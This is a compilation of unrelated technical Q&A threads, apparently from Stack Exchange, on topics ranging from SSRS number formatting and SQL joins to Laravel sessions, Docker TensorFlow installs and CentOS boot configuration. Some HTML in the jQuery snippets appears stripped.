This is what saved me and did what I wanted.  There is another error, but it's my bosses fault, so now I get to laugh at him.  Thanks everyone.

A: A standard principle is to separate data from display, so use the Value property to store the data in its native data type and use the Format property to display it how you want. So rather than use an expression formatting the Value property such as =Format(Fields.SomeField.Value, "0.00%") leave the Value as =Fields!SomeField.Value and set the Format property to P2.
This is especially important when exporting your report to Excel because if you have the right data type for your data it will export to Excel as the right data type. If you use the Format function it will export as text, making sorting and formula not work properly.
The easiest thing to do to control the formatting is use the standard numeric formats. Click on the cell or range of cells that you want to have a certain format and set the Format property. They are a format specifier letter followed by an optional digit for precision (number of decimal places). Some useful ones are:
C  Currency with 2 decimal places (by default)
N4 Number with 4 decimal places
P0 Percentage with no decimal places
Click on the link above for the full list. Format the number cells as numbers and the percents as percents - you don't need to try to make one format string fit every cell.
These standard numeric formats also respect regional settings. You should set your report's Language property to =User!Language to use the user's regional settings rather than the report server's.

A: If the number is already * 100 eg. 9.5 should be shown as 9.5% then use the format:
0.00\%

9.5 -> 9.5%
0.34 -> 0.34%
This way you can use the standard number formatting and just add the % to the end. The \ escapes the %, preventing the *100 in formatting (which would make 9.5 show 950%.).

A: Source:
https://technet.microsoft.com/en-us/library/bb630415(v=sql.100).aspx
This is simple to use,
Percent of (the sum of line item totals for the current scope)/(the sum of line item totals for the dataset).
This value is formatted using FormatPercent specifying one decimal place.
="Percentage contributing to all sales: " & FormatPercent(Sum(Field!LineTotal.Value)/Sum(Field!LineTotal.Value,"Sales"),1)


text:
Q: Does Oracle randomly switch execution plans to check if there is a better solution? I had a talk with an external colleague about oracle "swinging in" its performance. In detail it was about, that oracle optimizes its execution plans for the same query by time.
I don't talk about filling the caches. What I mean is that oracle tries different execution plans and keeps the one with best performance. This means a query send the 100th time is probably less performant than a query sent the 10000th time.
The Query has to be 100% the same, so index is defined and no parameters change or bind variables are used. Oracle only optimizes by sometimes trying a different execution plan and comparing its performance to the previously executed plan.
I would really appreciate if some of the Oracle pros could make this clear for me because I doubt this statement. Does Oracle really randomly switch execution plans to check if there is a better solution?

A: Whenever the optimizer looks at a query to produce a plan the relevant statistics are examined and it will compare the cost of various plans and pick the cheapest.
It doesn't look at all possible plans as it can 'shortcut' some options.
An execution plan will be produced whenever a hard parse occurs and this only happens when the query to be executed does not already exist in the shared pool.
So . . . the execution plan might change over time as your database may change over time, e.g. that small history table you had last year now has 20million rows rather than 10,000 so the optimiser decides to use an index instead of the full scan.
I've come across many 'tipping points' for the optimizer in the past but they are hard to predict at a granular level because we don't know exactly what algorithms the optimizer uses.
Oracle wont however change its execution plan 'just to see' if it already has a plan for the query.
Maybe the person you spoke to was referring to the new adaptive plans in Oracle 12c but that still doesn't mean Oracle will sometimes try a different plan. Look here for info on adaptive plans https://blogs.oracle.com/optimizer/entry/what_s_new_in_12c


text:
Q: Solving a system of PDEs with method of characteristics I'm trying to solve the following system of PDEs with the method of characteristics:
$\frac{\partial T}{\partial t}(t,x) = \gamma(t,x) - \psi(t,x) T(t,x) + \kappa(t,x) u(t,x)  \\
\frac{\partial u}{\partial t}(t,x) + \beta (t,x) \frac{\partial u}{\partial x} (t,x) = \varrho (t,x)(T(t,x) - u(t,x))$
Making $p_{1} = \frac{\partial T}{\partial t}(t,x)$, $q_{1} =  \frac{\partial T}{\partial x}(t,x) = 0$, $p_{2} = \frac{\partial u}{\partial t}(t,x)$, $q_{2} = \frac{\partial u}{\partial x} (t,x)$ , and applying the method of characteristics in both equations it is obtained:
$\dot{T}_{1} =  p_{1} = - \gamma(t,x) - \psi(t,x) T(t,x) + \kappa(t,x) u(t,x)\\
\dot{x}_{1} = 0 \\
\dot{t}_{1} = 1 \\
\dot{p}_{1} = - p_{1}\psi(t,x)\\
\dot{q}_{1} = 0$

$\dot{u}_{2} = p_{2} + \beta(t,x)q_{2} = \varrho(t,x) (T(t,x)-u(t,x))\\
\dot{x}_{2} = \beta(t,x)\\
\dot(t)_{2} = 1 \\
\dot{p}_{2} = p_{2} \varrho(t,x)\\
\dot{q}_{2} = -q_{2} \varrho(t,x)$
But now I do not know what to do with these ODEs. Anyone knows if I'm right and how can I solve this set of ODEs?
best regards,
Gustavo


text:
Q: Explain which table to choose "FROM" in a JOIN statement I'm new to SQL and am having trouble understanding why there's a FROM keyword in a JOIN statement if I use dot notation to select the tables.columns that I want.  Does it matter which table I choose out of the two?  I didn't see any explanation for this in w3schools definition on which table is the FROM table.  In the example below, how do I know which table to choose for the FROM?  Since I essentially already selected which table.column to select, can it be either?
For example:
SELECT Customers.CustomerName, Orders.OrderID
FROM Customers
INNER JOIN Orders
ON Customers.CustomerID=Orders.CustomerID
ORDER BY Customers.CustomerName;

A: The order doesn't matter in an INNER JOIN.
However, it does matter in LEFT JOIN and RIGHT JOIN. In a LEFT JOIN, the table in the FROM clause is the primary table; the result will contain every row selected from this table, while rows named in the LEFT JOIN table can be missing (these columns will be NULL in the result). RIGHT JOIN is similar but the reverse: rows can be missing in the table named in FROM.
For instance, if you change your query to use LEFT JOIN, you'll see customers with no orders. But if you swapped the order of the tables and used a LEFT JOIN, you wouldn't see these customers. You would see orders with no customer (although such rows probably shouldn't exist).

A: The from statement refers to the join not the table. The join of table will create a set from which you will be selecting columns.

A: For an inner join it does not matter which table is in the from clause and which is in the join clause.
For outer joins it of course does matter, as the table in the outer join is allowed to have "missing" records.

A: It does not matter for inner joins: the optimizer will figure out the proper sequence of reading the tables, regardless of your choice for the ordering.
For directional outer joins, it does matter, because these are not symmetric. You choose the table in which you want to keep all rows for the first FROM table in a left outer join; for the right outer join it is the other way around.
For full outer joins it does not matter again, because the tables in full outer joins are used symmetrically to each other.
In situations when ordering does not matter you pick the order to be "natural" to the reader of your SQL statement, whatever that means for your model. SQL queries very quickly become rather hard to read, so the proper ordering of your tables is important for human readers of your queries.

A: Well in your current example the from operator can be applied on both tables.
SELECT Customers.CustomerName, Orders.OrderID
FROM Customers,Orders
WHERE Customers.CustomerID=Orders.CustomerID
ORDER BY Customers.CustomerName;

->Will work like your code
The comma will join the two tables.
From just means which table you are retrieving data from.
In your example, you joined the two tables using different syntax.
it could also have been :
SELECT Customers.CustomerName, Orders.OrderID
FROM Orders
INNER JOIN Customers
ON Customers.CustomerID=Orders.CustomerID
ORDER BY Customers.CustomerName;

all the code written will generate same results


text:
Q: react-scroll-parallax and CSS backdrop-filter: blur With create-react-app, I want to implement a simple parallax effect with the help of the npm-package "React Scroll Parallax" with a slowly scrolling background image and a faster scrolling
 on top. This
 shall have a "frosted glass"-effect, implemented via CSS "backdrop-filter: blur". I can make the parallax effect work without the backdrop-filter and I can make the backdrop-filter work without the parallax effect. The problem now is: I can't make them work together. I assume the parallax-components brake the correct div-order that is needed for my CSS-approach.
This is my React component "Appbackground.js":
import React from 'react'
import { Parallax } from 'react-scroll-parallax';

class Appbackground extends React.Component {

    constructor(props) {
      super(props);
      this.state = {
      };
    }

    render() {
       return (

             <Parallax speed={-10}>

             </Parallax>
             <Parallax speed={10}>

             </Parallax>

       )
    }
}

export default Appbackground

This is the relevant part of my "index.css":
.Header {
  background: url(./Images/Test.jpg);
  min-height: 596px;
}

.Container {
    min-height: 2000px;
    min-width: 100%;
    position: absolute;
    top: 100px;
    padding: 20px 20px 20px 20px;
    background-color: rgba(20, 20, 20, 0.15);
    backdrop-filter: blur(12px);
}

.Container:before {
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
}

How can I make it work?


text:
Q: Python 3 regex: spliting sentences not working properly I have the following text:

'The first time you see The Second Renaissance it may look boring. Look at it at least twice and definitely watch part 2. It will change your view of the matrix. Are the human people the ones who started the war? Is AI a bad thing?'

And I'm trying to split it into sentences using the following regex:
re.split(r'[\.\?\!][\s\n]', text.strip())

For some reason it is not deleting the last question mark. The result I get is the following:

['The first time you see The Second Renaissance it may look boring',
   'Look at it at least twice and definitely watch part 2',
   'It will change your view of the matrix',
   'Are the human people the ones who started the war',
   'Is AI a bad thing?']

I tried modifying a little bit the regex adding a "*" at the end:
re.split(r'[\.\?\!][\s\n]*', text.strip())

But this is what I get:

['The first time you see The Second Renaissance it may look boring',
   'Look at it at least twice and definitely watch part 2',
   'It will change your view of the matrix',
   'Are the human people the ones who started the war',
   'Is AI a bad thing',
   '']<------- See this empty string

How should I go about this? I cannot use NLTK here, I am required to use only python 3 regex.

A: You are getting the last element as blank because your regex [\.\?\!][\s\n]* matches the last ? due to which split operation is performed on that ? which gives you 2 strings - one present to the left of that ? and one present at the right. The string present at the right of the last ? is a blank string, hence you get the last element of the array blank.
Instead of splitting, you can get the matches by using the following regex:
[^.?!]+

Click for Demo
See the Python Code output here

A: It seems from the split() function's nature which devide a string into two by separator(or delimiter). When separator is appeared at the starting(or ending) position of the string, this pecular behavior which create an empty string by-product of processing of splitting may occurr.
To avoid or remove empty strings of this type, you may use another functions: filter() function to remove empty strings, or re.match() and re.findall() , etc.. like follows to avoide empty string elements from splitting.
a regex for the seperator
[\.\?\!](?:[\s]+|$)

- Using filter() function to remove empty string elements from splitting, or using re.findall() function to capture strings except separator.
ss="""The first time you see The Second Renaissance it may look boring. Look at it at least twice and definitely watch part 2. It will change your view of the matrix. Are the human people the ones who started the war? Is AI a bad thing?"""

splt= re.split(r"[\.\?\!](?:[\s]+|$)",ss)
splt=list(filter(None,splt))
print(splt)

regs= re.compile(r'((?:(?![\.\?\!](?:[\s]+|$)).)*)[\.\?\!](?:[\s]+|$)')
match= regs.findall(ss)
print(match)

Demo for capturing regex which used in the findall()
((?:(?![\.\?\!](?:[\s]+|$)).)*)[\.\?\!](?:[\s]+|$)

script execution result is
['The first time you see The Second Renaissance it may look boring', 'Look at it at least twice and definitely watch part 2', 'It will change your view of the matrix', 'Are the human people the ones who started the war', 'Is AI a bad thing']
['The first time you see The Second Renaissance it may look boring', 'Look at it at least twice and definitely watch part 2', 'It will change your view of the matrix', 'Are the human people the ones who started the war', 'Is AI a bad thing']


text:
Q: Adding checkbox inside a listview in dhtmlx How can i add check box inside combo box within the grid view.

A: As far as I know - it impossible, but they have similar editor type - "clist", check
http://www.dhtmlx.com/docs/products/dhtmlxGrid/samples/01_cell_types/09_pro_excell_extra.html

A: You can outside the grid view, like this link suggest (from the official dhtmlx forums).
But inside the grid you cannot.
The closest answer I found on the official dhtmlx forums said:

There is no special integration of combo with checkboxes and dhtmlxgrid.
  "combo" column type purposed to be used with plain combobox mode only.
  Technically it possible to change it , so it will render as list with checkboxes, but checked values will not be accessible through grid's API

I hope this answer could help you. If not, you should ask the dhtmlx team directly, as it does not seem to be possible without imperfect workarounds.


text:
Q: TypeScript app: Imports via require() failing I have the following imports in one of my viewmodels (Durandal + TypeScript):
import ko                  = require("knockout"); // Works
import http                = require("../../services/http"); // Works
import serialNumberHandler = require("services/serialNumberHandler"); // Fails

My Durandal app is in an ASP.NET MVC web application in a structure as follows:
Solution
↳ Project
 ↳ App
  ↳ services
   ↳ http.ts
   ↳ serialNumberHandler.ts
  ↳ FunctionalArea
   ↳ Feature
    ↳ viewModel.ts
 ↳ index.html
 ↳ index.ts // Contains requirejs config including paths
 ↳ tsconfig.json // Contains requirejs config including paths

For some reason in the import statements at the top of this post, the third one fails in Visual Studio and when running tsc because of the following:

I though that putting baseUrl: "./App" in tsconfig.json` would fix it, but that doesn't seem to have worked.
Notice that my index.ts is one level above the rest of the app. Do I have a relative path issue here somewhere? This used to work (though I don't know how) before I added tsconfig.json, though I had other problems then (i.e. due to the lack of the paths section of tsconfig.json, none of my external modules could be found).


text:
Q: store sessions into a common database Basically what I am trying to do is sharing session between laravel applications using a common database.
what I've tried so far is
.env
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=login_test
DB_USERNAME=root
DB_PASSWORD=

DB_DATABASE_ADMIN=login_admin
DB_USERNAME_ADMIN=root
DB_PASSWORD_ADMIN=
SESSION_DRIVER=database
SESSION_CONNECTION=login_admin //getting error here: Database [login_admin] not configured.

session.php
'driver' => env('SESSION_DRIVER', 'file'),
'files' => storage_path('framework/sessions'),
'connection' => env('SESSION_CONNECTION', null),
'table' => 'sessions',

database.php
'mysql' => [
    'driver' => 'mysql',
    'url' => env('DATABASE_URL'),
    'host' => env('DB_HOST', '127.0.0.1'),
    'port' => env('DB_PORT', '3306'),
    'database' => env('DB_DATABASE', 'forge'),
    'username' => env('DB_USERNAME', 'forge'),
    'password' => env('DB_PASSWORD', ''),
    'unix_socket' => env('DB_SOCKET', ''),
    'charset' => 'utf8mb4',
    'collation' => 'utf8mb4_unicode_ci',
    'prefix' => '',
    'prefix_indexes' => true,
    'strict' => true,
    'engine' => null,
    'options' => extension_loaded('pdo_mysql') ? array_filter([
        PDO::MYSQL_ATTR_SSL_CA => env('MYSQL_ATTR_SSL_CA'),
    ]) : [],
],

'mysql2' => [
    'driver' => 'mysql',
    'url' => env('DATABASE_URL'),
    'host' => env('DB_HOST', '127.0.0.1'),
    'port' => env('DB_PORT', '3306'),
    'database' => env('DB_DATABASE_ADMIN', 'forge'),
    'username' => env('DB_USERNAME_ADMIN', 'forge'),
    'password' => env('', ''),
    'unix_socket' => env('DB_SOCKET', ''),
    'charset' => 'utf8mb4',
    'collation' => 'utf8mb4_unicode_ci',
    'prefix' => '',
    'prefix_indexes' => true,
    'strict' => true,
    'engine' => null,
    'options' => extension_loaded('pdo_mysql') ? array_filter([
        PDO::MYSQL_ATTR_SSL_CA => env('MYSQL_ATTR_SSL_CA'),
    ]) : [],
]

so here I want to set the sessions table into my common database named login_admin

I am already sharing a common users table between the projects so I've no issue on connecting multiple databases.
  I've checked previous relevant questions but did not find how to share the table into common database

A:
/*
|--------------------------------------------------------------------------
| Session Database Connection
|--------------------------------------------------------------------------
|
| When using the "database" or "redis" session drivers, you may specify a
| connection that should be used to manage these sessions. This should
| correspond to a connection in your database configuration options.
|
*/

According to your code SESSION_CONNECTION field should be the connection name, which is mysql2 in your case and not login_admin


text:
Q: "Path" in graph theory: Can a vertex occur more than once? I don't understand the definition of "path". The path is no vertex occur more than once. But this example use $a$ and $b$ twice.

Thank you in advance.

A: Different sources use slightly different definitions, just like $\mathbb{N}$ sometimes is defined to include $0$ and sometimes not. Nowadays paths generally don't allow repeated vertices, though we often still talk about Eulerian paths instead of Eulerian trails.
In your first book they use "simple paths" and "paths" instead of the currently more common "paths" and "walks".


text:
Q: Can I copy .git directories from an old server to a new sever that has newer Git version? We are moving to a new sever.
We have copied all our files (including .git directories) with rsync.
But we have newer Git version on the new sever.
On the old server Git version is 1.7.1 on the new sever Git version is 1.8.3.1
Can we just continue using Git as before?
I tested it and it seems it works OK but I'm not sure is this OK to do it.
Thank you.

A: Should work fine. But keep an backup, just in case.


text:
Q: Getting error while building docker image My Docker file is
FROM python:3
ADD myapp.py /
RUN pip3 install tensorflow-gpu
RUN pip3 install numpy
RUN pip3 install pandas
CMD ["python3", "./myapp.py]

When I build the docker image using
docker build -t gaurav .
I get the following errors
Step 4/5 : RUN  pip3 install tensorflow-gpu
 ---> Running in 8f938c75e2e0
WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.VerifiedHTTPSConnection object at 0x7fae543d7cd0>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution')': /simple/tensorflow-gpu/
WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.VerifiedHTTPSConnection object at 0x7fae543d79d0>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution')': /simple/tensorflow-gpu/
WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.VerifiedHTTPSConnection object at 0x7fae543d7220>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution')': /simple/tensorflow-gpu/
WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.VerifiedHTTPSConnection object at 0x7fae543d7640>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution')': /simple/tensorflow-gpu/
WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.VerifiedHTTPSConnection object at 0x7fae543d7790>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution')': /simple/tensorflow-gpu/
ERROR: Could not find a version that satisfies the requirement tensorflow-gpu (from versions: none)
ERROR: No matching distribution found for tensorflow-gpu
The command '/bin/sh -c pip3 install tensorflow-gpu' returned a non-zero code: 1

Can you help me here, I want to install all these packages, but I can't get past these errors.

A: https://github.com/tensorflow/tensorflow/issues/33374 - tensorflow is not available for python3.8 so you have to use python image with version 3.7 or lower:
FROM python:3.7

A: As stated here Tensorflow - requirements.

Tensorflow is supported only Python 3.5–3.7


text:
Q: How to render a template column of a grid, in a detailRow? Here's my situation. I have a main grid, where each row expands to show 2 tabs. The first tab has another grid, with dynamically columns. One of the columns needs to display a template with a modified Kendo Menu (in order for it to look like a dropdown).
When the column is rendered in the main grid, it works just fine. However, when I move that column to the sub-grid, I just see the list, without the kendo menu applied to it.
Two workarounds I tried:
http://dojo.telerik.com/OmiBu/3
Visuals:
Good and Bad


text:
Q: When to use OR and when to use UNION in sql while using nested Select quires I was trying to use nested Select query
Using OR:
select * from TRANSACTION_LOG
where GLOBAL_ID IN (select UNIQUE GLOBAL_ID from ORDER_REF where ORDER_ID in ('O01625','O01628','O01640'))
OR (GLOBAL_ID ='MC11f5f14');

The other way was using UNION ALL:
select * from TRANSACTION
where GLOBAL_ID IN (select UNIQUE GLOBAL_ID from ORDER_REF where ORDER_ID in ('O01625','O01628','O01640'))
UNION ALL
select * from TRANSACTION
where GLOBAL_ID ='MC11f5f14';

The first query is taking too much time for result, while the second one was quick, Not sure why and how it works!

A: First, the standard SQL construct is select distinct, not select unique.  Second, neither is needed with in.
So, the first query should be written as:
select tl.*
from TRANSACTION_LOG tl
where tl.GLOBAL_ID in (select o.GLOBAL_ID
                       from ORDER_REF o
                       where o.ORDER_ID in ('O01625', 'O01628', 'O01640')
                      ) or
      tl.GLOBAL_ID = 'MC11f5f14';

The equivalent query with union all is:
select tl.*
from TRANSACTION_LOG tl
where tl.GLOBAL_ID = 'MC11f5f14'
union all
select tl.*
from TRANSACTION_LOG tl
where tl.GLOBAL_ID in (select o.GLOBAL_ID
                       from ORDER_REF o
                       where o.ORDER_ID in ('O01625', 'O01628', 'O01640')
                      ) and
      tl.GLOBAL_ID <> 'MC11f5f14';
 -----^

Note the additional clause.  This allows the query to use union all rather than union.  union incurs a performance penalty because it removes duplicates.
Which is better?  That can depend on the database.  Some databases have sophisticated optimizers.  Some don't.  Some databases prefer exists to in for optimization.
In general, the second form allows more choices for optimization.  However, if you don't have appropriate indexes on the tables, then all bets are off.


text:
Q: jQuery/js wrap near div with same classes into single div I have the following structure and I need to wrap the div around .item.
In some place there is two items and in some place there is single item:

I need output in this format:

I tried with the following code but it wraps all code to single class.
var classes = {};
$(".section > div").each(function() {
    classes[$(this).attr("class")] = true;
});
for (singleClass in classes) {
    $("." + singleClass).wrapAll('
');
}

A: Loop through .heading elements using .each() and in loop select .item that is next to each other using .nextUntil() and then wrap them using .wrapAll()

$(".heading").each(function(){
  $(this).nextUntil(".heading").wrapAll("

");
});
.heading + div {background: #ccc}

heading

item

item

heading

item

item

heading

item

heading

item

item

A: try
let h,s= document.querySelector('.section');

[...s.children].forEach(e=>  {
  if(e.className=='heading') {
    h=document.createElement("div")
    e.insertAdjacentElement('afterend',h)
  } else {
    h.appendChild(e)
  }
})

function change() {
  let h,s= document.querySelector('.section');

  [...s.children].forEach(e=>  {
    if(e.className=='heading') {
      h=document.createElement("div")
      e.insertAdjacentElement('afterend',h)
    } else {
      h.appendChild(e)
    }
  })
}
div { margin-left: 30px;}
<button onclick="change()">Click here to change</button>

head 1

item 1

item 2

head 2

item 3

item 4

head 3

item 5

head 4

item 6

item 7

A: *

*Use nextUntil() with warpAll()

$(".heading").each(function() {
  $(this).nextUntil(".heading").wrapAll("

")
});
.red {
  border: red 1px solid
}

1

2

3

4

5

6

7

8

9

0

-


text:
Q: Why is one of my `Global.asax.cs` file in my ASP.net solution with two startup projects not called? In a Visual Studio (Professional 2017) solution, I have multiple projects, two of which are startup projects, the UI and the API. The curious thing is that the API\Global.asax.cs does not seem to be executed, although both startup projects are actually enabled to be launched for debugging. I am sure about that, since when hitting the green Debug arrow, two browser windows open, and both UI and API work.
There are two distinct Global.asax.cs-files, one for each startup project (whether that is a sensible design, I don't know - I took over the solution this way). Within the one for the API, breakpoints are not working, more specifically VS says:

The breakpoint will not currently be hit. A copy of Global.asax.cs was found in UI.dll, but the current source code is different from the version built into UI.dll.
To allow this breakpoint to be hit: right-click on the breakpoint, choose either 'Conditions...' or 'Setting...'. Then chcoose 'Location', 'Allow the source code to be different from the original.'
To allow this for all breakpoints, disable the option 'Required source files to exactly match the original version' under Tools, Options, Debugging, General.

The full hover-over-breakpoint-message looks as follows:

Following the last suggestion did not change anything. Concerning the first suggestion, I do not have the options to choose in the context menu under Conditions.
I cannot inquire to much about the solutions's architectural background, that is why I am
asking here for help: I am assuming that the error message also means that the file API/Global.asax.cs is not read at all, or is that conclusion wrong?
More importantly: How do I ensure that API\Global.asax.cs is read/ executed?
Differently put: When is it supposed to be executed when in debug mode? I have the impression, it executed every now and then since I see debug-output in my VS-Output window sometimes - I did not manage to guess when it is executed.
Edit: Further Background
In in the Solution Property Pages (right-click on the solution and choose Properties), there is the option Multiple startup projects chosen. The API project is in the list before UI.
Under Project Dependency is specified that the API project depends on different other projects, but not the UI project. The other projects have some inter-dependencies as well, but none of them depends on the UI project. The UI project does not depend on any other project, either.
References

*

*Why would my ASP.NET project run on the development server when not among the startup projects?

*Where does the output of System.Diagnostics.Debug.WriteLine go, if I put it in Global.asax.cs?

A: In any one ASP.NET web app there can be only one Global.asax file (whether with code behind or not). One of the Global.asax files will be overwriting the other if both projects deployed to the same folder, and the one that wins will specify the winning start up type that hooks into the Application instance's events:
 <%@ Application Codebehind="Global.asax.cs" Inherits="MyProject.MvcApplication" Language="C#" %>

The only way to have two would be two separate web apps (one could be in a child folder, providing it is – in IIS – set as a web app of its own and thus running it its own AppDomain if in the same IIS App Pool or otherwise in its own process).


text:
Q: How do I set the length of an attribute on a class diagram in EA? I have a class diagram and have defined an element on this diagram, and created a custom code engineering datatypes type, which allows a fixed width field, for which I want to define a length.
I just can't see where to enter it. The attributes window shows Name, Type, Scope, Stereotype, Alias and Initial Value but doesn't seem to allow anywhere to set the length or precision values.
I want to be able to use this in the report template Att.Length.
I'm sure I've done this before in an earlier version but I can't find where to set this on EA 14.
I'm sure I'm missing something obvious, but I've looked in every properties window I can find.
Thanks for looking! :-)

A: Length is typically not used with code engineering datatypes, but with database datatypes.
In that case this is intended to be used in database models, and EA will present a different GUI that enables you to edit the length of the datatype.

Technically these field are stored in t_attribute.Length in case of a type such as char, or t_attribute.Precision and t_attribute.Scale in case of a type such as numeric.
There is no (easy) way to fill in these field for regular (non «column») attributes.


text:
Q: What boot technology is this system using? Context

*

*Windows 10 Home 21H1

*Virtualbox 6.1

*CentOS 8 VM

*BIOS mode:

Question
What boot technology is being used on this VM?
I suspect BIOS is loading a stage 1 MBR boot loader, which loads GRUB2. What's confusing is the far more modern layout of the /boot partition.
It feels like a hybrid of a systemd-boot prepped /boot, with systemd-boot style config, but BIOS, MBR and GRUB2 in control.
Analysis
I believe systemd-boot can only be used on UEFI systems with GPT disks that contain a FAT-based filesystem for /boot.
My installer hasn't created a legitimate systemd-boot Extended Boot Loader Partition (XBOOTLDR) as /dev/sda1 is XFS not FAT-based.
Given my VM is set to NOT use EFI (so has defaulted to BIOS), I believe CentOS 8 has created the correct directory structure for systemd-boot (/boot/loader/entries/), but on an incorrect partition type (XFS on non-ESP/XBOOTLDR). This is not a problem since I am using BIOS.
As far as I can tell, GRUB2 is being loaded by the MBR boot sector. GRUB2 is then picking up the boot menu fragments in /boot/loader/entries/?
/boot/efi/* are empty directories - I usually see them populated with a grub config file and EFI images.
/boot/grub2/ contains grub.cfg, device.map and i386-pc/*.mod - good signs of a healthy GRUB2 install.
There are entries indicating the system is using systemd-boot style config rather than plain GRUB:
[root@c8 ~]# cat /boot/loader/entries/7d05af5fc5db47fbb5e0c5c6d5bdece7-4.18.0-305.10.2.el8_4.x86_64.conf
title CentOS (4.18.0-305.10.2.el8_4.x86_64) 8
version 4.18.0-305.10.2.el8_4.x86_64
linux /vmlinuz-4.18.0-305.10.2.el8_4.x86_64
initrd /initramfs-4.18.0-305.10.2.el8_4.x86_64.img $tuned_initrd
options $kernelopts $tuned_params
id centos-20210720173403-4.18.0-305.10.2.el8_4.x86_64
grub_users $grub_users
grub_arg --unrestricted
grub_class kernel

Disk inspection
MBR disk and msdos partition table:
[root@c8 ~]# lsblk
NAME        MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda           8:0    0   80G  0 disk
├─sda1        8:1    0    1G  0 part /boot
└─sda2        8:2    0   79G  0 part
  ├─cl-root 253:0    0 49.8G  0 lvm  /
  ├─cl-swap 253:1    0    5G  0 lvm  [SWAP]
  └─cl-home 253:2    0 24.3G  0 lvm  /home
sr0          11:0    1 1024M  0 rom

[root@c8 ~]# parted -l /dev/sda
Model: ATA VBOX HARDDISK (scsi)
Disk /dev/sda: 85.9GB
Sector size (logical/physical): 512B/512B
Partition Table: msdos
Disk Flags:

Number  Start   End     Size    Type     File system  Flags
 1      1049kB  1075MB  1074MB  primary  xfs          boot
 2      1075MB  85.9GB  84.8GB  primary               lvm

[root@c8 ~]# file -sL /dev/{sda,sda1}
/dev/sda:  DOS/MBR boot sector
/dev/sda1: SGI XFS filesystem data (blksz 4096, inosz 512, v2 dirs)

[root@c8 ~]# df -hTP
Filesystem          Type      Size  Used Avail Use% Mounted on
/dev/mapper/cl-root xfs        50G  6.1G   44G  13% /
/dev/sda1           xfs      1014M  407M  608M  41% /boot

Unable to inspect the image loaded by the firmware - another sign BIOS is in charge:
[root@c8 ~]# bootctl status
Couldn't find EFI system partition. It is recommended to mount it to /boot or /efi.
Alternatively, use --path= to specify path to mount point.
System:
    Not booted with EFI

[root@c8 ~]# efibootmgr -v
EFI variables are not supported on this system.

A: As of Fedora 30, the distribution's GRUB2 package comes with a new "blscfg" module which reads Boot Loader Specification config files and produces GRUB menu items.

In general, GRUB configuration can come from many sources. The standard grub.cfg is generated through extensible scripts, some of which are installed by separate packages (such as os-prober), and is not limited to just collecting a list of kernels from /boot – there would be nothing particularly unusual if your distro instead had grub-mkconfig that transformed /boot/loader/entries into a grub.cfg.


text:
Q: pandas dataframe how to remove values from cell that is a list based on other column I have a dataframe with 2 columns that represent a list:
a. b.  vals.        locs
1. 2. [1,2,3,4,5].  [2,3]
5  1. [1,7,2,4,9].  [0,1]
8. 2. [1,9,4,7,8].  [3]

I want, for each row, exclude from the columns vals all the locations that are in locs.
so I will get:
a. b.  vals.        locs.   new_vals
1. 2. [1,2,3,4,5].  [2,3].  [1,2,5]
5  1. [1,7,2,4,9].  [0,1].  [2,4,9]
8. 2. [1,9,4,7,8].  [3].    [1,9,4,8]

What is the best way to do so?
Thanks!

A: You can use a list comprehension with an internal filter based on enumerate:
df['new_vals'] = [[v for i,v in enumerate(a) if i not in b]
                  for a,b in zip(df['vals'], df['locs'])]

however this will become quickly inefficient when b get large.
A much better approach would be to use python sets that enable a fast (O(1) complexity) identification of membership:
df['new_vals'] = [[v for i,v in enumerate(a) if i not in S]
                  for a,b in zip(df['vals'], df['locs']) for S in [set(b)]]

output:
   a  b             vals    locs      new_vals
0  1  2  [1, 2, 3, 4, 5]  [2, 3]     [1, 2, 5]
1  5  1  [1, 7, 2, 4, 9]  [0, 1]     [2, 4, 9]
2  8  2  [1, 9, 4, 7, 8]     [3]  [1, 9, 4, 8]

A: Use list comprehension with enumerate and converting values to sets:
df['new_vals'] = [[z for i, z in enumerate(x) if i not in y]
                              for x, y in zip(df['vals'], df['locs'].apply(set))]
print (df)
   a  b             vals    locs      new_vals
0  1  2  [1, 2, 3, 4, 5]  [2, 3]     [1, 2, 5]
1  5  1  [1, 7, 2, 4, 9]  [0, 1]     [2, 4, 9]
2  8  2  [1, 9, 4, 7, 8]     [3]  [1, 9, 4, 8]

A: One way to do this is to create a function that works on row,
def func(row):
    ans = [v for v in row['vals'] if row['vals'].index(v) not in row['locs']]
    return ans

The call this function for each row using apply.
df['new_value'] = df.apply(func, axis=1)

This will work well, if the lists are short.


text: Q: Running a .sh script from a .desktop file such that script runs on the terminal I have so far been able to launch a .sh script using a .desktop file. It so happens that the bash script requires me to enter my sudo password, so in the desktop file I set terminal=true. The terminal is displayed, when I click the icon on my desktop (as expected) requesting me to enter my password. However, once I enter my password, terminal closes and my script stops running. The bash script that I'm running is some sudo openvpn sth.conf so the script has to be running in the terminal for the VPN to work. How do I prevent my terminal from closing as soon as I enter my password?


text:
Q: Redirect user after login through woocommerce login page to page with his/her username? As the title states I'm trying to redirect users after they log in through the woocommerce login form to their respective custom pages (http://example.com/accounts/username)
So far I got this
add_filter('woocommerce_login_redirect', 'custo_login_redirect');
  function custo_login_redirect( $redirect, $user ) {
  $redirect = site_url( '/accounts/' . $user->user_login );
  return $redirect;
}

but it is only redirecting to "http://example.com/accounts/" and not using the username in the url at all.
Is there a way to make it work? Thanks for any help.

A: This worked perfectly:
add_filter('woocommerce_login_redirect', 'custom_wc_login_redirect', 10, 3);
  function custom_wc_login_redirect( $redirect, $user ) {
  $redirect = site_url() . '/accounts/' . $user->user_login;
  return $redirect;
}

Thanks everyone.


text:
